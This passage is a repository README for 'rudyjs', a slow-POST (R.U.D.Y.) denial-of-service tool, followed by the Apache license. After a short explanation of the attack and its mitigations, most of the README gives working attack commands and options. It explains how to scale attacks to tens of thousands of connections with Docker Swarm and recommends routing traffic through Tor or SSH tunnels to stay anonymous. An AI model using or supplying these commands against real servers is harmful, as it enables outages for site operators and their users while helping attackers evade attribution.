unavailable to legitimate traffic. 19 | 20 | ### How does a R.U.D.Y. attack work ? 21 | The tool breaks down the payload into packets as small as 1 byte each, sending these packets to the server at randomized intervals of around 10 seconds each. 22 | The tool continues submitting data indefinitely. The web server will keep the connection open to accept the packets, since the `behavior of the attack is similar to that of a user with a slow connection speed submitting form data`. Meanwhile the web server’s capacity to handle legitimate traffic is impaired. 23 | 24 | The R.U.D.Y. tool can simultaneously create several of these slow requests all targeting one web server. Since web servers can only handle so many connections at once, it’s possible for the R.U.D.Y. attack to tie up all available connections, meaning any legitimate users trying to access the web server will be denied service. Even a robust web server with a high number of connections available can be taken down by R.U.D.Y. via a network of computers conducting attacks simultaneously, this is known as a Distributed Denial-of-Service (DDoS) attack. 25 | 26 | *HTTP headers are key/value pairs that are sent with any HTTP request or response, and they provide vital information such as the HTTP version being used, what language the content is in, how much content is being delivered, etc. 27 | 28 | ### What makes R.U.D.Y difficult to detect ? 29 | Because slow and low attacks are carried out much more subtly than traditional denial-of-service attacks, they can be hard to detect, but protections can be put in place to prevent them. 30 | 31 | ### How to stop R.U.D.Y. attacks 32 | One such prevention measure is to set stricter connection timeout intervals on a web server, meaning that the slowest connections will be severed. This solution comes with a side effect: legitimate users with slow Internet connections could be denied service by the server. Alternately a reverse-proxy solution, such as Cloudflare’s DDoS protection, can filter out low-and-slow attack traffic like R.U.D.Y. attacks, without disconnecting legitimate users. 33 | 34 | [Source](https://www.cloudflare.com/learning/ddos/ddos-attack-tools/r-u-dead-yet-rudy/) 35 | 36 | 37 | **Quick Disclaimer**: This information is for educational purposes only and should not be used with malicious intent. Also, the following guide has been tested only for Mac and Ubuntu, minor differences might exist on other OS. For Educational/Penetration Testing Purposes Only (Mitigating RUDY DDos Attacks) 38 | 39 | ### Todo : 40 | 41 | - [ ] Crawl HTML Page to automate attack vulnerable HTML Forms. 42 | 43 | ## Installation : 44 | 45 | ``` 46 | $ npm install -g rudyjs 47 | ``` 48 | 49 | ### Usage : 50 | 51 | ``` 52 | $ rudy 53 | ``` 54 | 55 | ### Sample Usage : 56 | 57 | ``` 58 | $ rudy -t "http://localhost:3000" -d 5 -n 500 --useTor --torUrl "127.0.0.1" --torPort 9051 -m "GET" 59 | ``` 60 | 61 | The above command runs RUDY DDos Attack on `http://localhost:3000` with 5 seconds delay & 500 requests 62 | 63 | ### Options : 64 | 65 | | Command | Type | Default | Description | 66 | |--------------------|------|---------|-------------------------------------------------------| 67 | | -t, --target (string)| Required | http://localhost:8080 | Target URL to attack | 68 | | -l, --length (number)| Optional | 1048576 Bytes (1 Mb) | Size of Payload (Bytes) | 69 | | -n, --numberOfConnections (number) | Optional | 500 | Number of Max Connections| 70 | | -m, --method (string) | Optional | POST | HTTP Request Method| 71 | | -d, --delay (number) | Optional | 5 seconds | Delay between each Bytes sent (seconds)| 72 | | -v, --verbose | Optional | false | Enable Verbose logs| 73 | | -p, --useTor | Optional | false | Use Tor Proxy| 74 | | -u, --torUrl (string) | Optional | 127.0.0.1 | Custom Tor Server URL| 75 | | -o, --torPort (number) | Optional | 9050 | Custom Tor Port| 76 | 77 | 78 | ### Generate Payload : 79 | 80 | ``` 81 | $ rudy generatePayload 82 | ``` 83 | 84 | Usage : 85 | 86 | ``` 87 | $ rudy generatePayload 2 88 | ``` 89 | 90 | `generatePayload` will generate dummy payload of specific character count.Keep character count as low as possible for rudy to be effective. Smaller the payload size will keep the HTTP Socket Connection longer. The Server assumes the client has slow internet connection and will ke the thread blocked. 91 | 92 | ### Docker : Automating Multiple Attacks 93 | 94 | Typically a single attack can run upto 2000-5000 simultaneous requests (Depending upon amount of RAM the machine has). You can also run 15000-25000 simultaneous requests using docker. 95 | 96 | You can create docker image from supplied Dockerfile and run the container image multiple times or can use docker swarm. 97 | 98 | You can edit the Dockerfile to update your attack configuration. 99 | 100 | Creating Docker Image : 101 | 102 | ``` 103 | $ docker build -t sahilchaddha/rudy . 104 | ``` 105 | 106 | Running Docker Image : 107 | 108 | ``` 109 | $ docker run -d sahilchaddha/rudy 110 | ``` 111 | 112 | Reading Docker Logs : 113 | 114 | ``` 115 | # Get container ID 116 | $ docker ps 117 | 118 | # Print app output 119 | $ docker logs 120 | 121 | # Example 122 | > node dist/cli.js "-t" "http://localhost:3000/" "-v" "-d" "5" "-n" "1" 123 | 124 | ____ _ _ ____ _____ _ ____ __ _______ _____ ___ 125 | | _ \ | | | | | _ \| ____| / \ | _ \ \ \ / / ____|_ _| |__ \ 126 | | |_) |____| | | |_____| | | | _| / _ \ | | | |____\ V /| _| | | / / 127 | | _ <_____| |_| |_____| |_| | |___ / ___ \| |_| |_____| | | |___ | | |_| 128 | |_| \_\ \___/ |____/|_____/_/ \_\____/ |_| |_____| |_| (_) 129 | 130 | Author : Sahil Chaddha 131 | Website: http://www.sahilchaddha.com 132 | Github : https://www.github.com/sahilchaddha 133 | Thu May 10 2018 14:58:02 GMT+0800 (+08) *** VERBOSE ::: Logger ::: Logger set to Verbose *** 134 | Thu May 10 2018 14:58:02 GMT+0800 (+08) *** INFO ::: Rudy_Service ::: Attack Started at http://localhost:3000/ With Workers : 1 *** 135 | ``` 136 | 137 | Docker Swarm : Automating Monitoring of multiple Docker images : 138 | 139 | Setting up Docker Swarm : 140 | 141 | ``` 142 | $ docker swarm init 143 | $ docker swarm join --token 144 | ``` 145 | 146 | Creating and Scaling a Service : 147 | 148 | ``` 149 | $ docker build -t sahilchaddha/rudy . //[Only do this if you made changes to the Dockerfile] 150 | $ docker service create --name --detach=false sahilchaddha/rudy 151 | $ docker service ls //[Can see 1/1 copy running] 152 | $ docker service scale =10 // 10 instances will be created of rudy 153 | $ docker service ls //[Doing this multiple times you can see the # of copies increasing] 154 | $ docker service rm // To remove service 155 | ``` 156 | 157 | This will result in creating 10 instances of rudy attack running with 2000 connections will result in 20,000 connections. This can also lead to consuming lot of memory. 158 | 159 | ### Staying Anonumous : 160 | 161 | Use `-p, --useTor` to make requests using tor node. 162 | IP Address will be anonymous (tor exit node) 163 | 164 | Its preferable to use tor or ssh tunnel 165 | 166 | ### Quick Example : 167 | 168 | ![Example](https://raw.githubusercontent.com/sahilchaddha/rudyjs/master/rudy.gif) 169 | 170 | ### Developer : 171 | 172 | ### Installation : 173 | 174 | ``` 175 | $ git clone https://github.com/sahilchaddha/rudyjs.git && cd rudyjs 176 | $ npm install 177 | $ npm run build 178 | ``` 179 | 180 | ### Starting : 181 | 182 | ``` 183 | $ npm run start // For Dist 184 | $ npm run startTs // For src 185 | ``` 186 | 187 | ### Contribution : 188 | 189 | Please run lint before creating a PR 190 | 191 | ``` 192 | $ npm run lint 193 | ``` 194 | 195 | ### Troubleshooting : 196 | 197 | #### 413 Payload too large : 198 | 199 | This Error occurs when HTTP server denies requests with heavy payload. Reduce `packet_len` property to 1MB or lower. 200 | 201 | #### 405 Not Allowed : 202 | 203 | This HTTP Error represents that HTTP METHOD ("GET"/"POST") is not allowed on the target URL. Try changing URL to another endpoint or change HTTP METHOD. 204 | 205 | ### Author : 206 | 207 | Sahil Chaddha -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | Apache License 2 | Version 2.0, January 2004 3 | http://www.apache.org/licenses/ 4 | 5 | TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION 6 | 7 | 1. Definitions. 8 | 9 | "License" shall mean the terms and conditions for use, reproduction, 10 | and distribution as defined by Sections 1 through 9 of this document. 11 | 12 | "Licensor" shall mean the copyright owner or entity authorized by 13 | the copyright owner that is granting the License. 14 | 15 | "Legal Entity" shall mean the union of the acting entity and all 16 | other entities that control, are controlled by, or are under common 17 | control with that entity. For the purposes of this definition, 18 | "control" means (i) the power, direct or indirect, to cause the 19 | direction or management of such entity, whether by contract or 20 | otherwise, or (ii) ownership of fifty percent (50%) or more of the 21 | outstanding shares, or (iii) beneficial ownership of such entity. 22 | 23 | "You" (or "Your") shall mean an individual or Legal Entity 24 | exercising permissions granted by this License. 25 | 26 | "Source" form shall mean the preferred form for making modifications, 27 | including but not limited to software source code, documentation 28 | source, and configuration files. 29 | 30 | "Object" form shall mean any form resulting from mechanical 31 | transformation or translation of a Source form, including but 32 | not limited to compiled object code, generated documentation, 33 | and conversions to other media types. 34 | 35 | "Work" shall mean the work of authorship, whether in Source or 36 | Object form, made available under the License, as indicated by a 37 | copyright notice that is included in or attached to the work 38 | (an example is provided in the Appendix below). 39 | 40 | "Derivative Works" shall mean any work, whether in Source or Object 41 | form, that is based on (or derived from) the Work and for which the 42 | editorial revisions, annotations, elaborations, or other modifications 43 | represent, as a whole, an original work of authorship. For the purposes 44 | of this License, Derivative Works shall not include works that remain 45 | separable from, or merely link (or bind by name) to the interfaces of, 46 | the Work and Derivative Works thereof. 47 | 48 | "Contribution" shall mean any work of authorship, including 49 | the original version of the Work and any modifications or additions 50 | to that Work or Derivative Works thereof, that is intentionally 51 | submitted to Licensor for inclusion in the Work by the copyright owner 52 | or by an individual or Legal Entity authorized to submit on behalf of 53 | the copyright owner. For the purposes of this definition, "submitted" 54 | means any form of electronic, verbal, or written communication sent 55 | to the Licensor or its representatives, including but not limited to 56 | communication on electronic mailing lists, source code control systems, 57 | and issue tracking systems that are managed by, or on behalf of, the 58 | Licensor for the purpose of discussing and improving the Work, but 59 | excluding communication that is conspicuously marked or otherwise 60 | designated in writing by the copyright owner as "Not a Contribution." 61 | 62 | "Contributor" shall mean Licensor and any individual or Legal Entity 63 | on behalf of whom a Contribution has been received by Licensor and 64 | subsequently incorporated within the Work. 65 | 66 | 2. Grant of Copyright License. Subject to the terms and conditions of 67 | this License, each Contributor hereby grants to You a perpetual, 68 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 69 | copyright license to reproduce, prepare Derivative Works of, 70 | publicly display, publicly perform, sublicense, and distribute the 71 | Work and such Derivative Works in Source or Object form. 72 | 73 | 3. Grant of Patent License. Subject to the terms and conditions of 74 | this License, each Contributor hereby grants to You a perpetual, 75 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 76 | (except as stated in this section) patent license to make, have made, 77 | use, offer to sell, sell, import, and otherwise transfer the Work, 78 | where such license applies only to those patent claims licensable 79 | by such Contributor that are necessarily infringed by their 80 | Contribution(s) alone or by combination of their Contribution(s) 81 | with the Work to which such Contribution(s) was submitted. If You 82 | institute patent litigation against any entity (including a 83 | cross-claim or counterclaim in a lawsuit) alleging that the Work 84 | or a Contribution incorporated within the Work constitutes direct 85 | or contributory patent infringement, then any patent licenses 86 | granted to You under this License for that Work shall terminate 87 | as of the date such litigation is filed. 88 | 89 | 4. Redistribution. You may reproduce and distribute copies of the 90 | Work or Derivative Works thereof in any medium, with or without 91 | modifications, and in Source or Object form, provided that You 92 | meet the following conditions: 93 | 94 | (a) You must give any other recipients of the Work or 95 | Derivative Works a copy of this License; and 96 | 97 | (b) You must cause any modified files to carry prominent notices 98 | stating that You changed the files; and 99 | 100 | (c) You must retain, in the Source form of any Derivative Works 101 | that You distribute, all copyright, patent, trademark, and 102 | attribution notices from the Source form of the Work, 103 | excluding those notices that do not pertain to any part of 104 | the Derivative Works; and 105 | 106 | (d) If the Work includes a "NOTICE" text file as part of its 107 | distribution, then any Derivative Works that You distribute must 108 | include a readable copy of the attribution notices contained 109 | within such NOTICE file, excluding those notices that do not 110 | pertain to any part of the Derivative Works, in at least one 111 | of the following places: within a NOTICE text file distributed 112 | as part of the Derivative Works; within the Source form or 113 | documentation, if provided along with the Derivative Works; or, 114 | within a display generated by the Derivative Works, if and 115 | wherever such third-party notices normally appear. The contents 116 | of the NOTICE file are for informational purposes only and 117 | do not modify the License. You may add Your own attribution 118 | notices within Derivative Works that You distribute, alongside 119 | or as an addendum to the NOTICE text from the Work, provided 120 | that such additional attribution notices cannot be construed 121 | as modifying the License. 122 | 123 | You may add Your own copyright statement to Your modifications and 124 | may provide additional or different license terms and conditions 125 | for use, reproduction, or distribution of Your modifications, or 126 | for any such Derivative Works as a whole, provided Your use, 127 | reproduction, and distribution of the Work otherwise complies with 128 | the conditions stated in this License. 129 | 130 | 5. Submission of Contributions. Unless You explicitly state otherwise, 131 | any Contribution intentionally submitted for inclusion in the Work 132 | by You to the Licensor shall be under the terms and conditions of 133 | this License, without any additional terms or conditions. 134 | Notwithstanding the above, nothing herein shall supersede or modify 135 | the terms of any separate license agreement you may have executed 136 | with Licensor regarding such Contributions. 137 | 138 | 6. Trademarks. This License does not grant permission to use the trade 139 | names, trademarks, service marks, or product names of the Licensor, 140 | except as required for reasonable and customary use in describing the 141 | origin of the Work and reproducing the content of the NOTICE file. 142 | 143 | 7. Disclaimer of Warranty. Unless required by applicable law or 144 | agreed to in writing, Licensor provides the Work (and each 145 | Contributor provides its Contributions) on an "AS IS" BASIS, 146 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or 147 | implied, including, without limitation, any warranties or conditions 148 | of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A 149 | PARTICULAR PURPOSE. You are solely responsible for determining the 150 | appropriateness of using or redistributing the Work and assume any 151 | risks associated with Your exercise of permissions under this License. 152 | 153 | 8. Limitation of Liability. In no event and under no legal theory, 154 | whether in tort (including negligence), contract, or otherwise, 155 | unless required by applicable law (such as deliberate and grossly 156 | negligent acts) or agreed to in writing, shall any Contributor be 157 | liable to You for damages, including any direct, indirect, special, 158 | incidental, or consequential damages of any character arising as a 159 | result of this License or out of the use or inability to use the 160 | Work (including but not limited to damages for loss of goodwill, 161 | work stoppage, computer failure or malfunction, or any and all 162 | other commercial damages or losses), even if such Contributor 163 | has been advised of the possibility of such damages. 164 | 165 | 9. Accepting Warranty or Additional Liability. While redistributing 166 | the Work or Derivative Works thereof, You may choose to offer, 167 | and charge a fee for, acceptance of support, warranty, indemnity, 168 | or other liability obligations and/or rights consistent with this 169 | License. However, in accepting such obligations, You may act only 170 | on Your own behalf and on Your sole responsibility, not on behalf 171 | of any other Contributor, and only if You agree to indemnify, 172 | defend, and hold each Contributor harmless for any liability 173 | incurred by, or claims asserted against, such Contributor by reason 174 | of your accepting any such warranty or additional liability. 175 | 176 | END OF TERMS AND CONDITIONS 177 | 178 | APPENDIX: How to apply the Apache License to your work. 179 | 180 | To apply the Apache License to your work, attach the following 181 | boilerplate notice, with the fields enclosed by brackets "{}" 182 | replaced with your own identifying information. (Don't include 183 | the brackets!) The text should be enclosed in the appropriate 184 | comment syntax for the file format. We also recommend that a 185 | file or class name and description of purpose be included on the 186 | same "printed page" as the copyright notice for easier 187 | identification within third-party archives. 188 | 189 | Copyright {2018} {Sahil Chaddha} 190 | 191 | Licensed under the Apache License, Version 2.0 (the "License"); 192 | you may not use this file except in compliance with the License. 193 | You may obtain a copy of the License at 194 | 195 | http://www.apache.org/licenses/LICENSE-2.0 196 | 197 | Unless required by applicable law or agreed to in writing, software 198 | distributed under the License is distributed on an "AS IS" BASIS, 199 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 200 | See the License for the specific language governing permissions and 201 | limitations under the License. 202 | --------------------------------------------------------------------------------